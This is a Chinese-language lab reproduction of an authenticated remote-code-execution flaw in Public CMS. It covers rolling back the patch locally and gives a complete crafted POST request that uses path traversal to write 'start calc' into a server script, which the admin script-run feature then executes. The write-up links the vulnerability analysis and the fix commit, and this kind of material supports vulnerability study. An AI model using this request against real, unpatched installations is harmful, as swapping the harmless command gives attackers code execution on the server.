【漏洞复现】JAVA Public CMS 后台RCE漏洞

【漏洞复现】JAVA Public CMS 后台RCE漏洞

环境下载

https://github.com/sanluan/PublicCMS

最新版本的漏洞修复了,将CmsFileUtils文件中的代码，修改为漏洞修复前代码

publiccms-parent/publiccms-core/src/main/java/com/publiccms/common/tools/CmsFileUtils.java

File file = Paths.get(dirPath, result.getPath()).toFile(); //修复前
//File file = Paths.get(dirPath, CmsFileUtils.getSafeFileName(result.getPath())).toFile();  //修复后

环境搭建

jdk1.8
idea2020
mysql

下载代码后，将代码用idea载入即可，要手动载入junit包

working directory配置项

设置到\publiccms-parent\publiccms

配置后环境后，直接启动，然后进行安装程序

登录后台

漏洞复现

有一个执行脚本的功能点，脚本可选择bat或sh(用于Windows和Linux两个操作系统上)

构造数据包修改脚本文件内容

POST /admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
sec-ch-ua-platform: "Windows"
Cookie: JSESSIONID=95329D5E39F69B69F0A291CC119EE56F; PUBLICCMS_ADMIN=1_2b46f00d-3f68-4479-a831-35be6a8fd772
Origin: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Site: same-origin
Referer: http://127.0.0.1:8080/admin/
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
sec-ch-ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 72

_csrf=2b46f00d-3f68-4479-a831-35be6a8fd772&word=echo "repo not config!"&replace=echo "repo not config!" & start calc&replaceList[0].path=../../script/sync.bat&replaceList[0].indexs=0

将 sync.bat 文件中写入 start calc

接着在执行脚本的功能点，执行文件

漏洞利用成功

漏洞分析文章

https://forum.butian.net/share/2490
https://github.com/sanluan/PublicCMS/commit/c878442ec4dc77203c780c8a39bb5e7af47cf73b